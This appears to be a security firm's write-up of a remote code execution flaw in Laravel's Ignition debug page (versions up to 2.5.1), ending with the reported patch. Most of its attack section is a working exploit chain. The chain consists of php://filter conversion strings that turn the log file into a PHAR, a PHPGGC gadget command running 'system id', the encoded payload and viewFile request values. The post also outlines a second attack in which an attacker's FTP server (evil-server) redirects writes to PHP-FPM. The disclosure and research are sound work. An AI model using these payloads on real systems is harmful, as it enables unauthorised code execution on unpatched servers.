# Laravel<= v8.4.2 debug mode: Remote code execution
In late November of 2020, during a security audit for one of our clients, we
came accross a website based on [Laravel](https://laravel.com/). While the
site's security state was pretty good, we remarked that it was running in
debug mode, thus displaying verbose error messages including stack traces:

Upon further inspection, we discovered that these stack traces were generated
by [Ignition](https://github.com/facade/ignition), which were the default
Laravel error page generator starting at version 6. Having exhausted other
vulnerability vectors, we started to have a more precise look at this package.
# Ignition <= 2.5.1
In addition to displaying beautiful stack traces, Ignition comes with
_solutions_ , small snippets of code that solve problems that you might
encounter while developping your application. For instance, this is what
happens if we use an unknown variable in a template:

By clicking "Make variable Optional", the `{{ $username }}` in our template is
automatically replaced by `{{ $username ? '' }}`. If we check our HTTP log, we
can see the endpoint that was invoked:

Along with the solution classname, we send a file path and a variable name
that we want to replace. This looks interesting.
Let's first check the class name vector: can we instanciate anything ?
class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
...
public function getSolutionForClass(string $solutionClass): ?Solution
{
if (! class_exists($solutionClass)) {
return null;
}
if (! in_array(Solution::class, class_implements($solutionClass))) {
return null;
}
return app($solutionClass);
}
}
No: Ignition will make sure the class we point to implements
`RunnableSolution`.
Let's have a closer look at the class, then. The code responsible for this is
located in
`./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php`.
Maybe we can change the contents of an arbitrary file ?
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']); // [1]
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) { // [3]
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
...
}
The code is a bit more complex than we expected: after reading the given file
path [1], and replacing `$variableName` by `$variableName ?? ''`, both the
initial file and the new one will be tokenized [2]. If we structure of the
code did not change more than expected, the file will be replaced with its new
contents. Otherwise, `makeOptional` will return `false` [3], and the new file
won't be written. Hence, we cannot do much using `variableName`.
The only input variable left is `viewFile`. If we make abstraction of
`variableName` and all of its uses, we end up with the following code snippet:
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);
So we're writing the contents of `viewFile` back into `viewFile`, without any
modification whatsoever. This does **nothing** !
Looks like we have a CTF on our hands.
# Exploiting nothing
We came out with two solutions; if you want to try it yourself before reading
the rest of the blog post, here's how you set up your lab:
$ git clone https://github.com/laravel/laravel.git
$ cd laravel
$ git checkout e849812
$ composer install
$ composer require facade/ignition==2.5.1
$ php artisan serve
## Log file to PHAR
### PHP wrappers: changing a file
By now, everyone has probably heard of the [upload progress technique
demonstrated by Orange Tsai](http://blog.orange.tw/2018/10/). It uses
`php://filter` to change the contents of a file before it is returned. We can
use this to transform a file's contents using our exploit primitive:
$ echo test | base64 | base64 > /path/to/file.txt
$ cat /path/to/file.txt
ZEdWemRBbz0K
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
# Reads /path/to/file.txt, base64-decodes it, returns the result
$contents = file_get_contents($f);
# Base64-decodes $contents, then writes the result to /path/to/file.txt
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test
We have changed the contents of the file ! Sadly, this applies the
transformation twice. Reading the documentation shows us a way to only apply
it once:
# To base64-decode once, use:
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
# OR
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';
Badchars will even be ignored:
$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f);
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test
### Writing the log file
By default, Laravel's log file, which contains every PHP error and stack
trace, is stored in `storage/log/laravel.log`. Let's generate an error by
trying to load a file that does not exist, `SOME_TEXT_OF_OUR_CHOICE`:
[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}
Superb, we can inject (almost) arbitrary content in a file. In theory, we
could use Orange's technique to convert the log file into a valid PHAR file,
and then use the `phar://` wrapper to run serialized code. Sadly, this won't
work, for a lot of reasons.
### The `base64-decode` chain shows its limits
We said earlier that PHP will ignore any badchar when base64-decoding a
string. This is true, except for one character: `=`. If you use the
`base64-decode` filter a string that contains a `=` in the middle, PHP will
yield an error and return nothing.
This would be fine if we controlled the whole file. However, the text we
inject into the log file is only a very small part of it. There is a decently
sized prefix (the date), and a huge suffix (the stack trace) as well.
Furthermore, our injected text is present twice !
Here's another horror:
php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"
Depending on the date, decoding the prefix twice yields a result which a
different size. When we decode it a third time, in the second case, our
payload will be prefixed by `2`, changing the alignement of the base64
message.
In the cases were we _could_ make it work, we'd have to build a new payload
for each target, because the stack trace contains absolute filenames, and a
new payload every second, because the prefix contains the time. And we'd still
get blocked if a `=` managed to find its way into one of the many
base64-decodes.
We therefore went back to the PHP doc to find other kinds of filters.
### Enters encoding
Let's backtrack a little. The log file contains this:
[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
We have learned, regrettably, that spamming base64-decode would probably fail
at some point. Let's use it to our advantage: it we spam it, a decoding error
will happen, and the log file will get cleared ! The next error we cause will
stand alone in the log file:
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
Now, we're back to our original problem: keeping a payload and removing the
rest. Luckily, `php://filter` is not limited to base64 operations. You can use
it to convert charsets, for instance. Here's [UTF-16 to
UTF-8](https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv):
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯畳晦硩崠
This is really good: our payload is there, safe and sound, and the prefix and
suffix became non-ASCII characters. However, in log entries, our payload is
displayed twice, not once. We need to get rid of the second one.
Since UTF-16 works with two bytes, we can misalign the second instance of
`PAYLOAD` by adding one byte at its end:
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯畳晦硩崠
The beautiful thing about this is that the alignment of the prefix does not
matter anymore: if it is of even size, the first payload will be decoded
properly. If not, the second will.
We can now combine our findings with the usual base64-decoding to encode
whatever we want:
$ echo -n TEST! | base64 | sed -E 's/./\0\\0/g'
V\0E\0V\0T\0V\0C\0E\0=\0
$ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt');
TEST!
Talking about alignement, how would the conversion filter behave if the log
file is not 2-byte aligned itself ?
PHP Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1
Again, a problem. We can easily solve this one by two payloads: a harmless
payload A, and the active payload, B. We'd have:
[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]
Since prefix, midfix and suffix are present twice, along with PAYLOAD_A and
PAYLOAD_B, the log file would necessarily have an even size, avoiding the
error.
Finally, we have a last problem to solve: we use NULL bytes to pad our payload
bytes from one to two. Trying to load a file with a NULL byte in PHP results
in the following error:
PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1
Therefore, we won't be able to inject a payload with NULL bytes in the error
log. Luckily, a final filter comes to the rescue: [convert.quoted-printable-
decode](https://www.php.net/manual/en/filters.convert.php#filters.covert.quoted-
printable).
We can encode our NULL bytes using `=00`.
Here is our final conversion chain:
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
### Complete exploit steps
Create a PHPGGC payload and encode it:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g'
U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
Clear logs (x10):
viewFile: php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
Create first log entry, for alignment:
viewFile: AA
Create log entry with payload:
viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
Apply our filter to convert the log file into a valid PHAR:
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
Launch the PHAR deserialization:
viewFile: phar:///path/to/storage/logs/laravel.log
Result:

As an exploit:

Right after confirming the attack in a local environment, we went on to test
it on our target, **and it did not work**. The log file had a different name.
After hours spent trying to guess its name, we could not, and resorted to
implementing another attack. _We probably should have checked this a little
bit ahead of time_.
## Talking to PHP-FPM using FTP
Since we could run `file_get_contents` for anything, we were able to scan
common ports by issuing HTTP requests. PHP-FPM appeared to be listening on
port 9000.
It is well-known that, if you can send an arbitrary binary packet to the PHP-
FPM service, you can execute code on the machine. This technique is often used
in combination with the `gopher://` protocol, which is supported by `curl`,
but not by PHP.
Another protocol known for allowing you to send binary packets over TCP is
FTP, and more precisely its passive mode: if a client tries to read a file
from (resp. write to) an FTP server, the server can tell the client to read
(resp. write) the contents of the file onto a specific IP and port. There is
no limitation as to what these IP and port can be. For instance, the server
can tell the client to connect to one of its own ports if it wants to.
Now, if we try to exploit the vulnerability with `viewFile=ftp://evil-
server.lexfo.fr/file.txt`, here's what will happen:
1. `file_get_contents()` connects to our FTP server, and downloads file.txt.
2. `file_put_contents()` connects to our FTP server, and uploads it back to file.txt.
You probably know were this is going: we'll use the FTP protocol's passive
mode to make `file_get_contents()` download a file on our server, and when it
tries to upload it back using `file_put_contents()`, we will tell it to send
the file to `127.0.0.1:9000`.
This allows us to send an arbitrary packet to PHP-FPM, and **therefore execute
code**.
This time, the exploitation succeeded on our target.
# Conclusion
PHP is full of surprises: no other language would yield these vulns with the
same two lines (although, to be fair, [Perl would have done it in
one](https://perldoc.perl.org/functions/open)).
We reported the bug, along with a patch, to the maintainers of [`Ignition` on
GitHub](https://github.com/facade/ignition/pull/334) on the 16th of November
2020, and a new version
([2.5.2](https://github.com/facade/ignition/releases/tag/2.5.2)) was issued
the next day. Since it is a `require-dev` dependency of Laravel, we expect
every instance installed after this date to be safe.
暂无评论